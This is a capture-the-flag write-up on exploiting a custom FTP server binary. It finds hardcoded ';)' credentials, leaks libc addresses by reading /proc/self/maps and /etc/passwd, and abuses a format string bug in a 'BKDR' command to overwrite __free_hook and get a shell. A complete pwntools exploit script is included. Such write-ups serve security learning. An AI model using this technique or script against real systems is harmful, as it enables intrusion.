Reverse Engineering

We’ll start by running file to get an idea of the executable’s architecture and platform. Note that it is a 64-bit linux executable.

$ file ./chall
./chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8bdf868a7d36a356638d98d3299887ae81995e2e, stripped

Running pwntools' checksec tool reveals that there is no stack canary in place - so if we found a buffer overflow present in the binary it’d be trivial to exploit. All other protections are in place so we’ll likely need to leak a libc address in order to progress further.

$ checksec ./chall
[*] './chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./'

When we run the binary, it appears to be a custom implementation of an FTP server. Inputting common commands tells us that we need to find a way to either provide valid credentials, or bypass the login functionality.

$ ./chall
220 Blablah FTP
USER asdf
530 Cannot find user name. Do you belong here. 
PASS asdf
530 Need login. Login first. 
RETR asdf
530 Need login. Login first. 

Viewing the disassembly we can find the control-flow logic for the ‘USER’ command. Interestingly, it provides two possible paths to sign in. In the first path it calls some function on the input username in order to validate the login. In the second path it calls getspnam to check for a valid username.

Taking a look at that first mysterious function shows that it’s just a wrapper for strcmp. Let’s spin up GDB and find out what it’s comparing our input to. We can just place a breakpoint just before the strcmp call.

$ gdb ./chall
...
pwndbg> b *(0x555555554000 + 0x00002a3f)
Breakpoint 2 at 0x555555556a3f
pwndbg> r
Starting program: ./chall 
220 Blablah FTP 
USER AAAA

Breakpoint 2, 0x0000555555556a3f in ?? ()
...
 ► 0x555555556a3f    call   strcmp@plt                <strcmp@plt>
        s1: 0x55555555a225 ◂— 0x41414141 /* 'AAAA' */
        s2: 0x5555555580a0 ◂— 0x6c4220642500293b /* ';)' */

It’s plain to see that the program considers the input ;) to be a valid username for authentication purposes. Giving this as input confirms this theory.

$ ./chall
220 Blablah FTP
USER ;)
331 User name okay need password

Repeating the above steps for the ‘PASS’ command gives us the same result. So we now have valid credentials for the target application.

 ► 0x555555556a3f    call   strcmp@plt                <strcmp@plt>
        s1: 0x55555555a225 ◂— 'PASSWORD'
        s2: 0x5555555580a0 ◂— 0x6c4220642500293b /* ';)' */
$./chall
USER ;)
331 User name okay need password 
PASS ;)
230 User logged in proceed 

Finally, we want to see what commands are available to us. Looking at the strings in our disassembler gives us this information.

   0x4008 USER
   0x400d PASS
   0x4012 RETR
   0x4017 STOR
   0x401c STOU
   0x4021 APPE
   0x4026 REST
   0x402b RNFR
   0x4030 RNTO
   0x4035 ABOR
   0x403a DELE
   0x404f CDUP
   0x4054 LIST
   0x4059 NLST
   0x405e SITE
   0x4063 STAT
   0x4068 HELP
   0x406d NOOP
   0x4072 TYPE
   0x4077 PASV
   0x407c PORT
   0x4081 SYST
   0x4086 QUIT
   0x408b MDTM
   0x4090 SIZE

Finding the Vulnerability

First thing I attempted was to actually just read the contents of flag.txt via the ‘RETR’ command. Sadly our user did not have permission to read the file. Though we do have a file read - maybe we can utilise that for something interesting (more on this later).

$ ./chall 
220 Blablah FTP 
USER ;)
331 User name okay need password 
PASS ;)
230 User logged in proceed 
RETR /flag.txt
500 FTP error: access denyed. Check Permission
RETR /etc/passwd
<censored>
226 Transfer completed

After a little more exploration, finding the actual vulnerability present in the executable was remarkably easy. Just by providing various inputs (long strings, format strings, etc) to the different commands - I found a format string vulnerability in the ‘BKDR’ command.

$ ./chall
220 Blablah FTP 
USER ;) 
331 User name okay need password 
PASS ;)
230 User logged in proceed 
BKDR %p %p %p
431136 BKDR 0x3 0xa0d (nil)

Great, now we have an arbitrary write via the format string vulnerability we found. We only need two more things in order to build an exploit:

  • A libc address leak (to get symbol locations).
  • Something to overwrite (that’ll give us code execution).

We could use this format string we found to leak an address in lib, but that would be boring. Instead, we can use the ‘RETR’ command to leak the entirety of the process map! That’s definitely a fun way to leak process addresses.

$ ./chall
220 Blablah FTP 
USER ;) 
331 User name okay need password 
PASS ;)
230 User logged in proceed 
RETR /proc/self/maps
5561bab83000-5561bab85000 r--p 00000000 fd:00 14944798                   ./chall
5561bab85000-5561bab87000 r-xp 00002000 fd:00 14944798                   ./chall
5561bab87000-5561bab88000 r--p 00004000 fd:00 14944798                   ./chall
5561bab88000-5561bab89000 r--p 00004000 fd:00 14944798                   ./chall
5561bab89000-5561bab8a000 rw-p 00005000 fd:00 14944798                   ./chall
5561bab8a000-5561bab8b000 rw-p 00000000 00:00 0 
5561bab8b000-5561bab8e000 rw-p 00006000 fd:00 14944798                   ./chall
5561bcaa9000-5561bcaca000 rw-p 00000000 00:00 0                          [heap]
7f9b53c03000-7f9b53c05000 rw-p 00000000 00:00 0 
7f9b53c05000-7f9b53c2b000 r--p 00000000 fd:00 14944691                   ./libc.so.6
7f9b53c2b000-7f9b53d96000 r-xp 00026000 fd:00 14944691                   ./libc.so.6
7f9b53d96000-7f9b53de2000 r--p 00191000 fd:00 14944691                   ./libc.so.6
7f9b53de2000-7f9b53de5000 r--p 001dc000 fd:00 14944691                   ./libc.so.6
7f9b53de5000-7f9b53de8000 rw-p 001df000 fd:00 14944691                   ./libc.so.6
7f9b53de8000-7f9b53df3000 rw-p 00000000 00:00 0 
7f9b53df3000-7f9b53df4000 r--p 00000000 fd:00 14944690                   ./ld-linux-x86-64.so.2
7f9b53df4000-7f9b53e1c000 r-xp 00001000 fd:00 14944690                   ./ld-linux-x86-64.so.2
7f9b53e1c000-7f9b53e26000 r--p 00029000 fd:00 14944690                   ./ld-linux-x86-64.so.2
7f9b53e26000-7f9b53e28000 r--p 00032000 fd:00 14944690                   ./ld-linux-x86-64.so.2
7f9b53e28000-7f9b53e2a000 rw-p 00034000 fd:00 14944690                   ./ld-linux-x86-64.so.2
7ffcda8c6000-7ffcda8e7000 rw-p 00000000 00:00 0                          [stack]
7ffcda994000-7ffcda997000 r--p 00000000 00:00 0                          [vvar]
7ffcda997000-7ffcda998000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
226 Transfer completed 

Information Gathering

Now that we’ve found everything we need, we can do a little more information gathering to get the last thing we need for our exploit - the offset within the format string to the input we control on the stack (needed for our arbitrary write). Let’s write a quick script to do just that.

#!/usr/bin/env python3

from pwn import *


r = process('./chall')

# sign in with valid credentials
r.writelineafter('220 Blablah FTP', b'user ;)')
r.writelineafter('331 User name okay need password', b'pass ;)')

for i in range(2000):
    r.writeline(f'bkdr AAAAAAAA %{i}$p')
    r.readuntil('bkdr AAAAAAAA')
    out = r.readline()
    if b'4141' in out:
        print(i, out)

r.close()

Running our script, we find that the address we control is located at an offset of 1031.

[+] Starting local process './chall': pid 47092
1031 b' 0x4141414141414141 \r\n
[*] Stopped process './chall' (pid 47092)

Exploit Development

Now that we have everything we need, we can begin to write our exploit. There’s a few things that we need to achieve, here’s a list:

  • Sign into the program using the credentials we found.
  • Leak a libc address via the arbitrary file read.
  • Overwrite some address in order to achieve code execution.

Below are the code snippets for both signing in with the credentials we found, and for leaking a libc address.

# sign in with valid credentials
r.writelineafter('220 Blablah FTP', b'user ;)')
r.writelineafter('331 User name okay need password', b'pass ;)')
# leak addresses
r.writelineafter('230 User logged in proceed', b'RETR /proc/self/maps')
leak = r.readuntil('226 Transfer completed')
libc_base = int(leak.decode('latin').split('\n')[10].split('-')[0], 16)
log.info(f'libc_base = {hex(libc_base)}')

# set up libc elf
libc = ELF('./libc.so.6')
libc.address = libc_base

So, one more question remains - how do we utilise our arbitrary write primitive in order to achieve code execution? Well, at the end of the programs input routine a call to free is made. If we write an address to __free_hook within libc we will be able to redirect program execution.

The simplest way to get a shell from this is to use a ‘magic’ gadget.

$ one_gadget libc.so.6 
0xde78c execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xde78f execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xde792 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

The code snippet below overwrites __free_hook with our ‘magic’ gadget, giving us a shell when the call to free is made.

# arbitrary write
'''
0xde78f execve("/bin/sh", r15, rdx)
constraints:
      [r15] == NULL || r15 == NULL
      [rdx] == NULL || rdx == NULL
'''
writes = {
    libc.sym.__free_hook: libc.address + 0xde78f
}

# perform format string attack
payload = fmtstr_payload(1031, writes, numbwritten=12)
r.writeline(b'bkdr ' + payload)

Putting all these pieces together we get the following exploit.

#!/usr/bin/env python3

from pwn import *

context.arch = 'amd64'


r = process('./chall')

# sign in with valid credentials
r.writelineafter('220 Blablah FTP', b'user ;)')
r.writelineafter('331 User name okay need password', b'pass ;)')

# leak addresses
r.writelineafter('230 User logged in proceed', b'RETR /proc/self/maps')
leak = r.readuntil('226 Transfer completed')
libc_base = int(leak.decode('latin').split('\n')[10].split('-')[0], 16)
log.info(f'libc_base = {hex(libc_base)}')

# set up libc elf
libc = ELF('./libc.so.6')
libc.address = libc_base

# arbitrary write
'''
0xde78f execve("/bin/sh", r15, rdx)
constraints:
      [r15] == NULL || r15 == NULL
      [rdx] == NULL || rdx == NULL
'''
writes = {
    libc.sym.__free_hook: libc.address + 0xde78f
}

# perform format string attack
payload = fmtstr_payload(1031, writes, numbwritten=12)
r.writeline(b'bkdr ' + payload)

r.clean()
r.interactive()

And finally, here’s our exploit in action. It gives us an interactive shell that we can use to read the flag. In the actual challenge /flag.txt was not readable (as we discovered when we attempted to read it earlier). However, an SUID binary get_flag was present on the container, which read the flag for us.

$ ./solve.py
[*] libc_base = 0x7ff0d87a1000
[*] './libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ ls
chall  flag.txt  get_flag  ld-linux-x86-64.so.2  libc.so.6  solve.py